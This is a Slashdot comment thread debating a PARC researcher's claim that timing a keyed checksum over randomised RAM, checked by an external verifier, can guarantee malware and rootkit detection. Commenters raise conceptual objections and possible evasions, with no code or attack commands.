How To Guarantee Malware Detection

itwbennett writes "Dr. Markus Jakobsson, Principal Scientist at PARC, explains how it is possible to guarantee the detection of malware, including zero-day attacks and rootkits and even malware that infected a device before the detection program was installed. The solution comes down to this, says Jakobsson: 'Any program — good or bad — that wants to be active in RAM has no choice but to take up some space in RAM. At least one byte.'"

Comments

At least one byte

[BadAnalogyGuy]

While it might be true that any application will take up at least a byte of memory, there is no reason malware couldn't masquerade as another binary down to the exact number of bytes.

Hell, Windows is a whole slew of malware that masquerades as the whole OS.

Re:At least one byte

[sopssa]

It doesn't need to do even that.

They forgot that malware code can reside inside another process and it's memory space, in which case comparing and writing random bytes to free RAM is a moot point.

Re:At least one byte

[palegray.net]

I don't normally quote huge chunks of articles, but I'm making an exception on grounds that I don't believe you RTFA before replying:

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself. Well, malware may interfere, of course, as it often does, and remain in RAM. But if we know how big RAM is, we know how much space should be free. Assume we write pseudo-random bits over all this supposedly free space. Again, a malware agent could refuse to be overwritten. It could store those random bits somewhere else instead... like in secondary storage.

Then, let us compute a keyed hash of the entire memory contents -- both our detection program and all the random bits. Here is what could happen: If there is no malware in RAM, the results will be the expected result. An external verifier checks this, and tells us that the scanned device is clean. Or there could be malware in RAM, and the checksum will be wrong. The external verifier would notice and conclude that the device must be infected. Or malware could divert the read requests directed at the place it is stored to the place in secondary storage where it stored the random bits meant for the space it occupies. That would result in the right checksum... but a delay. This delay would be detected by the external verifier, which would conclude that the device is infected.

Why a delay, you ask? Because secondary storage is slower than RAM. Especially if the order of the reads and writes are done in a manner that intentionally causes huge delays if diverted to flash, hard drives, etc.

There's more details in RTFA.

Re:At least one byte

[dmgxmichael]

Not a fair comparison. Malware usually does what it's supposed to.

Re:At least one byte

[Jazz-Masta]

Virus scanners figured this out years ago, this is why they scan the operating memory!

The difficult part is finding out which "bytes" are bad. The problem is many elements of spy tools are often used for good too. Like VNC and all of those legitimate screen capture and key logger programs for IT.

Re:At least one byte

[sopssa]

I did, and he doesn't say anything about this point.

Regarding making a keyed hash of the entire memory content, how would that even work? Every program modifies it's memory all the time. Then there's the programs like copy protections and Skype etc that modify it's own code in real-time too.

Re:At least one byte

[Chris Burke]

While it might be true that any application will take up at least a byte of memory, there is no reason malware couldn't masquerade as another binary down to the exact number of bytes.

Oh see he didn't finish explaining.

Any program that wants to be resident has to occupy at least one byte of RAM. And that byte should include the Evil Bit, which all malware should set. Then your anti-virus program just checks the Evil Bit and problem solved!

Re:At least one byte

[lgw]

He pushes the hard work off onto an "external verifier" without making it clear how that would itself remain rootkit free.

If you have a guaranteed-safe external verifier, malware detection and removal isn't rocket science. Oddly, we have the technololgy in place to create a safe verifier: Trusted Coomputing. All we really need to solve the malware problem for good is something like Trusted Computing that we actually trust! An open standard, untainted by DRM, the provides hardware-level cryptographic isolation between the running system and the verifier.

Re:At least one byte

[OeLeWaPpErKe]

There are several weaknesses. Note how he says something about an external verifier, which is delay-sensitive. Note how for the first 2 steps he keeps repeating "malware may of course interfere but this doesn't matter because", and then he stops considering malware interference. That's because at those points, malware interference would be fatal.

Of course, malware could simply take over the entire procedure, computing the keyed hash itself (a process which can run in a lot less memory : it doesn't actually index memory, it just generates the pseudo-random bytes directly, then it sends back the correct keyed has).

Calculating the entire hash in the processor cache will let this method outperform the checksummer by a large margin, meaning it can send the data back after any chosen interval.

(and before you say "keyed", obviously the encryptor needs to know the key)

In practice you'll also find that large amounts of ram space cannot be swapped out : BIOS, some bits of the operating system, ... There's even memory locations that aren't in the memory map, but are nevertheless backed by physical ram (in a pci card or ...), and thus won't be included in any (sane) scan. Surely one can find some place where a virus could squeeze in.

Re:At least one byte

[sam0737]

It doesn't need to do even that.

They forgot that malware code can reside inside another process and it's memory space, in which case comparing and writing random bytes to free RAM is a moot point.

So you mean his idea can only deal with "Computer Germs" but not "Computer Virus?"

Re:At least one byte

[Anonymusing]

I would also wonder about false positives on shareware, poorly written apps, custom corporate apps, etc.

Re:At least one byte

[Anonymous Coward]

Unless you know exactly what bytes are supposed to get read/written from any given "application", requiring a 'needle in a haystack' level of RAM analysis, you will not be able to tell which bytes are from malware and which ones are not. THAT is the problem.

Re:At least one byte

[Anonymous Coward]

Again, RTFA.

The article talks specifically about malware that defends itself.

That is, you start by swapping all active memory. The malware, defending itself, will attempt to stay active, and "dodge" the swap. Then, you attempt to overwrite the malware, again assuming it will defend itself and block these attempts. Once that is the case, the keyed hash becomes valid because you can detect areas where the overwrite was "blocked" from happening.

Presumably you would use the usual known detection algorithms for malware that doesn't defend itself (sandboxing et al)

Re:At least one byte

[Astrorunner]

Its taking a moment to digest what the author is saying. He really doesn't mean that he can detect *any* threat at any time, but rather, in the future he *can* detect them as new threats are discovered.

If a piece of malware allows itself to be swapped out, it can then (now, or in the future when its identified as a threat) be detected without worrying about it trying to hide itself.

Then, once its swapped everything out, it can start the hunt for malware that remains in memory.

The key here to the Hunt is the writing of random data... If you overwrite the memory with random data, the app has *no choice* but to write itself out to secondary storage to hide the random data. If the memory was zeroed out, it could simply return zero for every byte, but with random data, it has to remember each byte. Since its random, it can't really compress the data to hide itself solely in memory, but there guarantee should be that it will be able to find it eventually.

He talks a bit of hype, and there's some promise to that, but it sounds like he may not be able to find zero day threats that willingly allow themselves to be swapped out.

Re:At least one byte

[Anonymous Coward]

Don't say "it's" when you mean "its". You're making my eyes bleed.

Re:At least one byte

[AvitarX]

Most probably do not run buffer overflows. Most are probably people running the executables stupidly.

It comes down to teaching your users that random strangers on the Internet don't have their best interests at heart, and yes I imagine that is an impossible task.

Re:At least one byte

[causality]

He pushes the hard work off onto an "external verifier" without making it clear how that would itself remain rootkit free.

If you have a guaranteed-safe external verifier, malware detection and removal isn't rocket science. Oddly, we have the technololgy in place to create a safe verifier: Trusted Coomputing. All we really need to solve the malware problem for good is something like Trusted Computing that we actually trust! An open standard, untainted by DRM, the provides hardware-level cryptographic isolation between the running system and the verifier.

I'd rather just secure my systems, thanks.

Re:At least one byte

[Astrorunner]

Sorry, but I think you're missing the point. Apologies if I've misunderstood your point.

I have a root kit. I have kernel level access. I know when my memory is being scanned. When another process goes to poke around my memory, I intercept that request and return back zeroes or gibberish -- anything but my code.

I in effect become invisible to your scanner. Scanning operating memory isn't good enough.

Now, since they're writing out random data to memory, they're attempting to ferret out any bad code that might be lurking out there. They don't have to identify the specific bad code, but *suspicious* code, just code that bad code attempts to hide itself by righting out to disk as random data is written over it.

Re:At least one byte

[alexhs]

You've been modded funny, but this is exactly what this "article" is all about.

If there is no malware in RAM, the results will be the expected result. [...] Or there could be malware in RAM, and the checksum will be wrong. [...] Or malware could divert the read requests [...] . That would result in the right checksum... but a delay.

Or, there could be malware in RAM, not diverting read requests, and the checksum will be the expected result, and without a delay.

The only problem with Markus Jakobsson grand theory is that all malware are of that last kind.
Well, all malware since the memory protection era. I suppose his "product" could work for DOSes (but there is no multitasking there) Windows 3, MacOS9, AmigaOS and some embedded OSes.
And if the malware does virtualization, he is located in a memory area that his product won't be able to scan anyway.

So, simply put, it is a scam.

Re:At least one byte

[Panaflex]

Oh, and lets consider that a virus writer would know the basic fundamentals of memory management, reporting back less RAM pages than expected. After all, we're depending on the OS memory allocator to provide correct number of pages, paged/nonpaged, etc..

In other words, we could alter the VM page table and not report all physical pages to the OS / "Guaranteed Virus Detection"

Another problem to consider is that often programs are compiled with buffer overflow detection, which writes a pattern of bytes before and after allocated RAM... having a virus detector overwrite these bytes without returning them back may result in inaccurate reports of buffer overflow.

It's an interesting, even a good idea - but IMHO not a provably secure scheme.

Re:At least one byte

[c 0xFF]

As near as I can tell, the article makes a HUGE assumption: the malware is actively trying to hide itself. This is not an unreasonable assumption, but it makes everything more clear. Let's go through his steps:

1) The algorithm swaps out memory.
2) The malware decides to stay active in RAM.
3) Random bits are written to memory.
4) Optional: The malware masks its presence by falsifying the memory reads.
5) A bad hash or delay reveals the presence of something trying to stay hidden.

For the special case that malware hides itself in memory that won't get swapped out, this might work. But a special case is a far cry from the claims in the article:

We can guarantee detection of malware. And that includes zero-day attacks and rootkits. We can even guarantee that we will detect malware that infected a device before we installed our detection program.

What if the malware is fine with being swapped out to disk? This algorithm detects nothing, of course, and the malware continues as normal, and can only be detected by traditional means.

I find the analogy from the paper quite revealing:

An analogy of our approach is that of an air marshal that at given time intervals demands of all travelers to take a step out on the wing, reporting to an authority on the ground who was there, providing them evidence that the plane is empty -- and first then, allows everybody to come in again. Our solution works even if the air marshal was delivered to the plane after takeoff.

So ... what happens if the marshal is clubbed over the head when entering the plane? What if the traveler carrying the bomb just leaves with everybody else? What if, what if ...

There's just too many holes to count.

Re:At least one byte

[palegray.net]

What part of "Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself." is so difficult to understand?

Re:At least one byte

[gtbritishskull]

Or, there could be malware in RAM, not diverting read requests, and the checksum will be the expected result, and without a delay.

I think you missed the part where you write over the RAM with random data first. If malware gets written over by random data in RAM, it is basically no longer in RAM (erased). Then, the protection program can scan all other memory for all known viruses and be done with it. If the virus is unknown (is not found in the scan) it will not be found until someone discovers it and adds it to the virus scan. The point of this article is that it is (supposedly) a way to guarantee that a known virus does not avoid being fixed by the virus scan by hiding in RAM.

Re:At least one byte

[lgw]

I'd rather just secure my systems, thanks.

How would you do that, then? There are so many clever rootkits these days, and no OS is "immune" (although SE Linux may be so if correctly configured, configuration is hard). Hardware-based rootkits (malware in the firmware of peripherals that attack an already kernel-mode driver process) are very dificult to defend against, you can only really hope they get enough bad press before they get you.

The only way to "just secure your system" against increasingly clever attackers is to have a safe partition, one that is simply not writable from the production OS, that can scan the production OS for rootkits. Virtualization by itself isn't enough - we're already seeing the first jailbreak exploits - you need something "below" any OS to enforce the paritioning.

Re:At least one byte

[alexhs]

I think you missed the following parts :

Instead of looking for known patterns -- whether of instructions and data, or of actions -- wouldn't it be great if we could look for anything that is malicious? That may sound like a pipe dream.

Not to me.

[...]

This tells us a few interesting things. We can guarantee detection of malware. And that includes zero-day attacks and rootkits.

Even with your interpretation :

We can even guarantee that we will detect malware that infected a device before we installed our detection program.

You can't detect known malware that way if it virtualizes the computer, because you will only scan for the memory the malware is willing to show you.

By the way, the following assumption is unworkable:

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself.

You can't swap out many parts of the kernel.
And I'm pretty sure kernel space parts of a rootkit won't let themselves swap out. Which does not mean uncooperative kernel modules are malware. If you're swapping out the disk driver, how will you get it back ? But maybe this exact disk driver is infected by the rootkit ?

Re:At least one byte

[oldhack]

A-ha! That's where the evil-bit comes in. You look for bytes allocated with the evil bit turned on, and BAM! You found malware.

Re:At least one byte

[Anonymous Coward]

*sigh* ... should be modded ignorant instead of insightful..

Re:At least one byte

[Duhavid]

"You can't swap out many parts of the kernel."

My thought there is that you could make the hardware perform these tasks, then I think you *could* do the swapping out required.

Re:At least one byte

[Anonymous Coward]

If malware gets written over by random data in RAM, it is basically no longer in RAM

Correct. But simply because your application attempted to overwrite all RAM with random data does not mean that it successfully was able to do so. The virus could have hijacked the write instructions and not carried out the ones that would have overwritten it. You then have to read all RAM.

If what you attempt to write is different from what you actually read, either the RAM itself is failing, or a virus is preventing you from writing to certain parts of RAM.

Now, to be clever, a virus could virtualize the portion of memory it is currently residing in: if you ask to write to that memory, it could write to the disk instead, then when you ask to read from the same memory, it could read from the disk where it wrote the bytes. This would make it completely invisible to you, because what you read would be identical to what you tried to write: except that a disk read/write takes much longer than a memory read/write. This delay could be detected.

(However, even then you would be relying on the infected system’s clock to detect the delays, and this might not be reliable if the system is infected. That is why he says you need an exterenal validator, which isn’t really practical.)

And in any case, all this gives you is a way to guarantee malware detection in RAM. This is useful, because if the RAM is clean, you can trust the system to give you reliable information about the contents of the secondary memory devices when you attempt to scan them. If the RAM is not clean, you can’t trust anything.

This is not a way to guarantee malware detection. It is ONLY a way to detect malware in RAM, when you want to purge the RAM so as to get a clean system. There is another way to do this: it is called a BOOT CD. Some people think that is too much trouble so they try to design ways for software to purge the RAM in a system that might have an infection that will prevent you from doing that. While these software methods can catch some infections, they are not foolproof.

Re:At least one byte

[vikingpower]

A possiblity no one seems to have thought of: what if the malware either hides inside the detection software, or poses AS the detection software ? And, creepier even: what if there is malware capable of detecting a detection, leaving RAM during the detection, and then of coming back ?

Re:At least one byte

[jimbolauski]

1) move all contents in ram to HD the program would be at the kernel level and could direct memory mapping.
2) anything still in ram needs to be looked at closer and eliminated if it is a true threat
3) scan everything since the malware is not in ram it can not mask itself and can be detected
4) Profit!
There are a few weakness one being that critical system programs (BIOS) may not be able to be moved to the HD and could have malware attached thus being able to mask itself.While this isn't the perfect solution it is another good tool.

Re:At least one byte

[hairyfeet]

Actually they don't even need to do that anymore. As a PC repairman I can say that the biggest malware infections I'm seeing are these "scareware" infections, where some stupid user will download a trojan app which then installs this (insert security tool, AV 2010, etc) app "for your protection" which then scares the hell out of them saying everything from notepad on up is malware, and then offering to "clean up" if you give them your CC numbers. Of course there is NO way to simply shut the app off, nor stop it from running at startup, it's a real nasty piece of work.

So I would say the average malware writer isn't even bothering to fake binaries much anymore, at least not from what I've seen crossing my desk the past 6 months. From what I've seen the new scam goes like this-get security app installed through some adware, use security app to backdoor the machine and fill it full of toolbars and turn it into a spambot, and then refuse to go away until you give them $50 to "clean" the infection, which of course just gets more malware put on and their CC stolen.

So I have to give them credit, by getting the user to install the initial adware they go right through UAC like a hot knife through butter, as the user, especially on Vista, will just keep clicking allow trying to get their new "free music/video/porn" app to work. After that there is nothing for them to do except bring it to me and cut a check.

Re:At least one byte

[Sancho]

Fine, except the article claims that this detects 0-days. Which it only does if the 0-day defends itself. So it might find a 0-day, and it might not. Running this could show a positive, but a negative still doesn't mean that you're safe. It's marginally better than what we have now in exchange for a lot more work.

Re:At least one byte

[Sancho]

You can't detect known malware that way if it virtualizes the computer, because you will only scan for the memory the malware is willing to show you.

Ah, there's where the bit about "knowing how much RAM you have" matters.

The virus has three choices:
1) Be overwritten, thus being eliminated (and showing you all of the RAM in your system.)
2) Swap part of what you're writing to disk.
3) Present less RAM than you actually have.

If you know how much RAM you have, you can detect choice 3.
If you can detect latency between secondary storage and RAM, you can dectect choid 2.
If the virus doesn't mind disappearing for the rest of the computer's runtime, you can mitigate damage via choice 1.

Now you may not know what kind of malware is on your computer, but you know that something is there.

Re:At least one byte

[BuckaBooBob]

This whole thought process is naive at best.. Obviously has no idea what a rootkit is or understand that alot of malware uses rootkits to hide itself from API's and in some cases forces the kernel to respond falsely when queried about details that would reveal the malware itself.

There is also no mention on how hashes could be stored so that they cannot be tampered with by rouge processes and still give the abaility for hashes to be updated for a bug-fix or upgrade nor how to authenticate upgrades/bugfixes in a fashion that would not allow malware penetration.

Does make a good case to sell software to people that will accept the idea that something can be secured 100% against intrusion. But anyone that thinks this is really naive.. There will always be a attack vector for malware or rouge processes to allow unintended access to the system. After all according to Microsoft the UAC will stop viruses and malware from spreading too.. and we can all see how well that is working :)

Re:At least one byte

[palegray.net]

Virtually everything you've listed here is covered conceptually by his proposal. The implementation is left as an exercise to the reader, and it's noted that nothing is perfectly secure.

Re:At least one byte

[Eivind]

But you can't detect latency, because the programs view of EVERYTHING, including the system-clock, is subject to the whims of whoever is running in ring-0.

i.e. you cannot detect that you've been virtualised and are running in a simulation, as opposed to on the bare metal, by looking at a clock, because the clock itself will be virtualised too.

Re:At least one byte

[Sancho]

The latency check is performed by an external device which (presumably) know the timings of the RAM. Per the article.

Theory and Reality

[ircmaxell]

In theory, theory and reality are equivalent. In reality, they are quite different...

Seriously, how could this possibly work for ALL (including undocumented, and hereto unknown) threats? And if it does it by reading straight from RAM (through the kernel), wouldn't a rootkit be able to trivially defeat that?

Re:Theory and Reality

[Anonymous Coward]

Even if you whitelist, if the memory space isn't properly protected by the OS, malware could use memory owned by the OS or a common application. 7 and the most recent version of MacOS are better at this, but I think there is still room for improvement.

Re:Theory and Reality

[Anonymous Coward]

You hit the nail on the head. Everthing goes through the kernel and a rootkit would thus be invisible. Now if you had a hardened ROM that the kernel lived in this detection method could work. However how practical is it to have a system that has a hardend ROM tied to a hardened BIOS so it would only ever read the kernel into RAM from the ROM then read in applications from FLASH.

Re:Theory and Reality

[dmgxmichael]

Agreed - couple this with the reality that at least half and probably more of all malware today is packed in with programs the user installed. I don't know how much BearShare and similar crap I've had to clean off relative's comptuers. This technique does nothing to stop malware of that nature - no antivirus technique known can stop the user from installing programs that do stuff other than what they advertise to do.

Re:Theory and Reality

[goombah99]

His whole point was not "this is how you should do it", it was "you could do this, and because you could do this it shows that it's theoretically possible". This is a variant of what is know as a gedanken experiment-- an argument that proves or disproves some fact is true while not actually being somethign you would want to carry out. For example, you could suppose that you could measure the force field is under by running a pole from the earth to the moon and pushing slightly on it. Not that you want to do this, but it shows that measuring that force field is possible at all. Now you need to figure out an easy way to do that.

Re:Theory and Reality

[HungryHobo]

ya. coming up with a reliable virus detection scheme for unknown viruses is pretty much in the same area as the halting problem.

Even detecting polymorphic viruses has been proven to be NP complete.

Re:Theory and Reality

[notgm]

what if your external verifier was hardware based? build a little device with hardened rom and bios, give it a usb interface, or maybe even something proprietary - let the detection take place off-board.

Re:Theory and Reality

[n1ywb]

A rootkit that is AWARE of this detection mechanism ought to be able to defeat it easily by just overwriting the computed and expected keys in the detectors memory space with a random number. No delay, the values are equal, so no problem right? Wrong. The only way to make this really work would be for the detector to have direct hardware access to the machine's RAM but be running on a different uninfected machine. That's theoretically possible, but not really practical with out of the box hardware.

Re:Theory and Reality

[einhverfr]

I read the article and I wasn't convinced. I don't think one can guarantee malware detection. Any detection approach has false positives and/or false negatives. Typically we err on the side of false negatives, while some other approaches (host-based IDS-type approaches) err on the side of false positives.

The method addressed here does not deal with all possible attacks, but only the problem of malware interfering with the scan. Hence even with such a mechanism, all you can use it for is guaranteeing the integrity of the scan process. It doesn't tell you by itself whether a given executable is malware or not. For that you have to either look for known threats or for suspicious system changes (sha256 checksums on files changing, for example).

"All we need" is generally an indication that something is missing in the analysis and this is the case here.

Re:Theory and Reality

[clone53421]

A rootkit that is AWARE of this detection mechanism ought to be able to defeat it easily by just overwriting the computed and expected keys in the detectors memory space with a random number.

LOL, good point.

Re:Theory and Reality

[Astrorunner]

That's because all the memory is now swiss cheese full of random bytes. If the malware wants to hide itself, it has to swap itself out to disk, regardless of whether or not it can hide itself. He then proposes to identify that there is a threat by observing the performance of the hardware as it swaps itself out to secondary storage.

Re:Theory and Reality

[Anonymous Coward]

Thats a good question. Maybe if you read the article, you'd know the answer.

Re:Theory and Reality

[BillX]

Very true!

But why bother trying to figure out where its keys are stored, just NOP over the scanner's entire memory space :-) It seems to me that if this all-powerful scanner has the power to arbitrarily swap out ALL other processes (including, presumably, the OS it runs in), shouldn't it have the power to pre-empt their threads during this process? And if not--that is, if it's letting these baddies dance all over RAM even as it scans, how does it guarantee that its own address space can't be danced on?

So it has to be in RAM

[magsol]

The hard part is actually finding it.

Re:So it has to be in RAM

[dissy]

The hard part is actually finding it.

That reminds me of a signature I've seen around here (Sorry, I don't remember who was using it)

cat /dev/ram | strings | grep llama
OMG, my RAM is full of llamas!

Re:So it has to be in RAM

[Engeekneer]

Not as hard as reading the article

In case anybody was wondering...

[fuzzyfuzzyfungus]

He is indeed selling something...

Re:In case anybody was wondering...

[Locke2005]

He's selling fat skunks? Now there's a marketing job I wouldn't want to have!

Re:In case anybody was wondering...

[Anonymous Coward]

Something

We introduce a new and provably secure approach to software-based attestation, suitable for smartphones, smartbooks and netbooks. Our new approach is based on two basic principles:

      1. Malware must either be active in RAM or passively reside in secondary storage – but only active malware can attempt to avoid detection by attacking the scanning software. Therefore, if one can first make sure that there is no active process in RAM – except for the scanning software itself – then one can proceed to perform the function that needs security, safe in the knowledge that malware cannot corrupt the process. This can be done whether this process is to log in, cast a vote, or scan secondary storage for infections.
      2. Accessing flash or external resources takes considerably more time than to access RAM – especially if memory is not accessed linearly. That means that if we fill the portion of RAM that should be empty with a pseudo- random string and then compute a special kind of checksum on all of RAM, then active malware will be detected. Namely, it has to be in RAM, and therefore has to displace some part of the pseudo-random string. As any displaced portion is requested by the checksum function, it has to be obtained from somewhere – computed, loaded from flash, or obtained from some external source. This takes longer than simply accessing RAM. By having an external verifier both ask the scanned device for the result of the checksum computation, and time how long it took to compute the checksum, malware will be detected. Note that it does not matter what kind of malware it is, or what it does.

Theory and hand-waving

[Lord Grey]

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself. Well, malware may interfere, of course, as it often does, and remain in RAM. But if we know how big RAM is, we know how much space should be free. Assume we write pseudo-random bits over all this supposedly free space. Again, a malware agent could refuse to be overwritten. It could store those random bits somewhere else instead... like in secondary storage.

Then, let us compute a keyed hash of the entire memory contents -- both our detection program and all the random bits. Here is what could happen: If there is no malware in RAM, the results will be the expected result. An external verifier checks this, and tells us that the scanned device is clean. Or there could be malware in RAM, and the checksum will be wrong. The external verifier would notice and conclude that the device must be infected. Or malware could divert the read requests directed at the place it is stored to the place in secondary storage where it stored the random bits meant for the space it occupies. That would result in the right checksum... but a delay. This delay would be detected by the external verifier, which would conclude that the device is infected.

<sarcasm>Punting the problem to an "external verifier" is pretty neat. I wish I could do that with my next hard problem.</sarcasm>

That whole bit about swapping, though.... If I write malware and hide it somewhere in execution space, do I really care if it gets swapped out? So the code that steals keystrokes or sniffs for credit card numbers doesn't get executed for short while. Big deal. At some point it will get loaded again (if written properly, that is).

Or am I missing something obvious?

Re:Theory and hand-waving

[fuzzyfuzzyfungus]

Punting the problem to an "external verifier" may or may not be a cop-out depending on the context.

If you want it to work, with a software update, on today's general purpose x86 office boxes, your "external verifier" might as well be a magic pony that sneezes rainbows and poops out the factors of any arbitrarily large primes that you feed it. Not Happening.

On the other hand, if your target is "Paranoid embedded architectures, 2-5 years from now" you can posit pretty substantial hardware changes at only modest cost. A little widget that can temporarily halt execution on the main CPU and do whatever checking it likes across the system's RAM would add cost and complexity to an embedded design; but probably not a gigantic amount. He isn't asking for an Oracle here.

Re:Theory and hand-waving

[taustin]

This proposal isn't to detect what malware is present, or to remove it. It is onl to detect that there is some malware present, which can then lean to more thorough scanning to detect and remove. Knowing that something is there is half the battle.

Re:Theory and hand-waving

[ircmaxell]

Well, wouldn't this require ALL other processes to "sleep" while the check is performed? Sure, Ram is fast, but writing to 4gb of DDR3 would take around 1/3 of a second (excluding the time it took to generate that data and store the hash) considering the peak transfer rate of DDR3 is around 12800 MB/s (Using the best case)... So in reality, you're looking at well over 1/3 of a second (potentially into the seconds. And that's just for writing. You need to swap everything out first. So the whole process could take several seconds to complete. Now, if the computer is doing ANYTHING (GUI is active, servers are active), they'll either cause the memory to be paged back in (And hence be detected as malware), or (if this software blocks the paging attempt) stall waiting for it to page. So the computer would have a several second "pause" where it wouldn't react to anything (and possibly lose the inputs in that timespan, since memory can't be written to)... So that means this is useless on any kind of an active computer (Server, computer being used, computer with any kind of process that runs long term, etc)?

Re:Theory and hand-waving

[Anonymous Coward]

the factors of any arbitrarily large primes.

PROtip: Primes, large or small, do not have factors. That's why they're prime.

Re:Theory and hand-waving

[fuzzyfuzzyfungus]

That's why it's a magic pony...

Re:Theory and hand-waving

[bill_mcgonigle]

Punting the problem to an "external verifier" is pretty neat. I wish I could do that with my next hard problem.

It may be worth doing right. Look for malware from a hypervisor (memory, disk, network, etc.). Running this all inside the insecure machine is just asking for trouble, though, but is the best currently available. But even today there are cpu's shipping without virt support, so this can't be done for every machine yet or for a while. Still, I think many would spend the extra $50 if it worked well.

Re:Theory and hand-waving

[JustOK]

You mean other than itself and 1.

Re:Theory and hand-waving

[NotBornYesterday]

WHOOOOOOSH ...

Re:Theory and hand-waving

[TheLink]

> It is only to detect that there is some malware present,

No, he claimed in the article that:

> This tells us a few interesting things. We can guarantee detection of malware.
> And that includes zero-day attacks and rootkits. We can even guarantee that we will
> detect malware that infected a device before we installed our detection program.

To me _guaranteeing_ detection of malware (especially zero-day ) is similar to solving the halting problem (without having the source code and knowing all the possible inputs).

I am not a Computer Scientist but to me getting an external verifier to figure out "is this bunch of bits malware or not" is going to be as hard or harder than getting an external verifier to figure out "does this program halt or not" given the program and its inputs. Since with the former you do NOT know its full inputs - it could download new instructions from the Internet.

A better way to defend against malware is sandboxing. Sandboxing is _analogous_ to avoiding the requirement of solving the halting problem by actually setting a time limit on how long a program can run.

Re:Theory and hand-waving

[Lord Grey]

Detecting the malware depends on the malware trying to stay in memory. My point was that "properly written" malware wouldn't necessarily care if it is was swapped. Allow the swap, get a clean bill of health from the "external verifier," then get reloaded and continue Bad Activities. Downtime for the malware is negligible.

Re:Theory and hand-waving

[Anonymous Coward]

PROtip: Primes, large or small, do not have factors. That's why they're prime.

ProProTip: Primes, large or small, do have factors. Any prime number, p, has factors 1 and p

Re:Theory and hand-waving

[Anonymous Coward]

Yeah, you're missing the point.

The point being that with _only_ the scanner running in RAM the malware cannot _actively_ hide itself from the scanner since it cannot execute.

Wether or not the malware will be loaded again is totally beside the point. Maybe it will maybe it wont. Of course the scanner will at some point finish and let the other processes have their memory back, you didn't though the scanner would run for ever did you? That would kind of reduce the usability of your hardware.

Re:Theory and hand-waving

[Anonymous Coward]

Just a sec, let me implement the algorithm in Dtrace and see if it really works... uh almost. Actually there is nothing special about the memory verification (DEADBEEF anyone?), the timing of the access is what makes this approach somewhat unique, interesting and probably impractical for real world software environments. Downscale this so that it can look at all of the memory in your phone and either your battery, CPU or bandwidth are going to be taken up by this "external verifier". I don't know about you, but I'm tired of approaches where most of the power of my computer is being consumed keeping male-ware out. I'd just as soon take my chances with a well-designed OS that doesn't give global root access to all applications.

Re:Theory and hand-waving

[raddan]

Well, I suspect that allowing your evil program to swap out would make implementing an evil hypervisor very difficult, so that's one rootkit tactic that you can largely eliminate with this technique. I'm not entirely convinced that this method is practical, though, but it's an interesting idea.

Re:Theory and hand-waving

[shentino]

Unless the external verifier can access machine state directly without going to the kernel...

Re:Theory and hand-waving

[Anonymous Coward]

Since the host might be compromised, you send the bits to an external verifier so that the verification can't be intercepted by the malware. The external verifier can detect the delays and compare the hashes without risk of the results being compromised.

Re:Theory and hand-waving

[BillX]

I read a very interesting paper a few years back on a hardware-based rootkit detection method that could operate beneath the level of anything that might interfere with it (hooked/replaced OS components, hypervisors, etc.) The basic idea was to use a PCI/PCIe card with its own small, cheap processor (like most wireless cards have today...or non-"Win" modems of yesterday) to slowly scan through system memory by issuing DMA transfers. This is occuring at the naked hardware level (the CPU is not even involved in these transfers, the chipset does all the work), making it theoretically immune to any software-level shenanigans. You would not even have to halt anything to perform the scan.

Granted, there is some cost and a mild performance hit to adding the extra hardware, but many of the top 'targets' (banks, the DoD) would not really flinch at it.

Re:Theory and hand-waving

[makomk]

That doesn't work anymore. Most modern chipsets can now remap the address space seen by PCI and other hardware at will.

Still a needle

[dmgxmichael]

A needle in a haystack wants roughly the same amount of space as a straw - doesn't make it any easier to find (indeed, that's part of the reason it's so hard to find).

Even if this technique has merits, it does nothing to correct the primary reason for computer infection - stupid users.

Re:Still a needle

[Pojut]

Even if this technique has merits, it does nothing to correct the primary reason for computer infection - stupid users.

As with most things in life, stupidity is the leading cause of problems.

Except death. I think god has a monopoly on causing death in that department. (Take that last sentence however you will. Just remember: however you take it is how I meant it.)

Re:Still a needle

[mooingyak]

I think god has a monopoly on causing death in that department. (Take that last sentence however you will. Just remember: however you take it is how I meant it.)

You're sleeping with your mother? Gross.

Re:Still a needle

[Space Guerilla]

A needle in a haystack wants roughly the same amount of space as a straw - doesn't make it any easier to find (indeed, that's part of the reason it's so hard to find).

Even if this technique has merits, it does nothing to correct the primary reason for computer infection - stupid users.

In Mythbusters they proved you could infact find the needle in the haystack http://en.wikipedia.org/wiki/MythBusters_(2004_season)#Needle_in_a_Haystack

Re:Still a needle

[Hormonal]

Oh, it's not gross. She's actually quite lovely.

Re:Still a needle

[Anonymous Coward]

"Ok mom, to install software, just go to Apps > Ubuntu Software Center. If you need something that's not there, let me know and I'll get it for you. (Google Chrome) "

Security is really not that hard, 'stupid' users or not. Unless you're Microsoft. ...If we bail those retards out of bankruptcy I'm going to be pissed; I've worked the last several years to bring them down; they're too big not to fail.

Re:Still a needle

[Mantis8]

Just for clarification...

Hebrews 2:14, 15
Forasmuch then as the children are partakers of flesh and blood, he also himself likewise took part of the same; that through death he might destroy him that had the power of death, that is, the devil;

And deliver them who through fear of death were all their lifetime subject to bondage.

John 10:10
The thief cometh not, but for to steal, and to kill, and to destroy: I am come that they might have life, and that they might have it more abundantly.

I john 1:5
This then is the message which we have heard of him, and declare unto you, that God is light, and in him is no darkness at all.

Which one is the detector?

[mangu]

How about a malware that masquerades as this detector and reports the RAM checksum is OK?

Re:Which one is the detector?

[evanbd]

Detecting a malware detector is just as hard as detecting malware. In general, detecting software of a specific type is halting-equivalent. In practice, the goal is to take shortcuts so that your adversary has a halting-equivalent problem and you don't. At present, the malware authors are winning. If we could force them to detect the malware detectors, that would be a huge advance.

My skepticism about this is the obvious one: what if the malware just lets itself get swapped out, and relies on stealth to survive the process?

Re:Which one is the detector?

[Anonymous Coward]

Or malware that changes the total amount of RAM appearing to be available for the operating system? Good ol' boot sector virii did that. 20 years ago.

Re:Which one is the detector?

[Rich0]

What if the malware didn't take action specific to a malware detector?

If a program attempts to read the memory occupied by the malware, give it zeros.
If a program writes to this memory, save what it writes and return this for any future ready by any other program.
When a program asks for the time when it does these kinds of memory reads, return values that indicate that only enough time has passed to account for an ordinary amount of clock time.

